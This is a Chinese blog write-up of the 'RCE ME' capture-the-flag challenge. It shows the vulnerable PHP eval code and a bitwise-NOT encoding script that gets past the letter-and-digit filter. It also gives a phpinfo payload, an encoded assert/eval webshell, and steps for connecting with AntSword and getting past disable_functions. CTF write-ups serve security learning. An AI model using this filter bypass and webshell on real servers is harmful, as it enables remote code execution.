当前位置:网站首页>[极客大挑战 2019]RCE ME 1
[极客大挑战 2019]RCE ME 1
2022-08-08 06:22:00 【Joker. .】
这个题疑惑还是挺多的,发出来是希望有大佬给我解惑一下,脚本均来自网上wp
首先看进入页面的代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>可以看到过滤了字母数字,这里用取反绕过,看wp用脚本进行编码,
<?php
$a='phpinfo';
$b=urlencode(~$a);
echo $b;
//得到%8F%97%8F%96%91%99%90% (~%8F%97%8F%96%91%99%90%)=phpinfo这里我尝试了多次为什么urlencode()不加~进行不了编码,我看了一下这个函数的用法应该是可以只直接将字符串进行URL编码的

然后get传入的时候又加了~,如果一开始脚本构造的时候是进行取反,那这里再取反一次不就相当于没有取反吗?看到一个博客的注释大概懂了[极客大挑战 2019]RCE ME - 码农教程 (manongjc.com)
payload:?code=(~%8F%97%8F%96%91%99%90)();

这里绕过之后由于eval()函数的存在,所以会把上传的当做PHP代码执行

这样也就造成了这里可以构造一句话木马,这里又是不懂得一个点,看代码
<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";
$b ='(eval($_POST[shell]))';
echo urlencode(~$b);说是由于版本原因,不能像平常一样构造,然后用蚁剑连接

然后这里的flag是空白的

但是下面有个readflag文件,应该就是通过这个来读取flag,然后就是蚁剑的一个插件来绕过disable_functions

然后选择模式后开始

先ls看根目录,然后直接/readflag

这里如果用cat是得不到flag的,得到的还是乱码,这里又是一个疑惑点

总的来说疑惑还是挺多的不看wp根本做不出来,蚁剑插件获取方法有道云笔记
边栏推荐
猜你喜欢
随机推荐
优势成长读书笔记
分布式系统设计之高可用大全
学生管理系统
4G/5G频谱资源协同关键技术
PostgreSQL中想新建一个用户,让他仅能访问指定数据表,不能通过客户端工具看到表结构和函数内容,是否有方案可解决?
C语言初阶阶段的重难点知识总结
信息传输率(Information Translate Rate,ITR)
有哪些可以“躺平”的技术开发岗位?------音视频开发畅谈
Scrapy_Redis 分布式处理
利用pycharm自定义关键字颜色
学习残差神经网络(ResNet)
数组拼接时维度的重要性
2-SAT
2022届暑期实习笔经面经总结,已拿微软微信offer
Graphical LeetCode - 636. Exclusive Time of Functions (Difficulty: Moderate)
convolutional neural network image recognition, convolutional neural network image processing
代码自动初始化
使用pyQt 网格布局(QGridLayout)创建一个计算器
Scrapy爬虫框架详解-----全面详解
原型与原型链









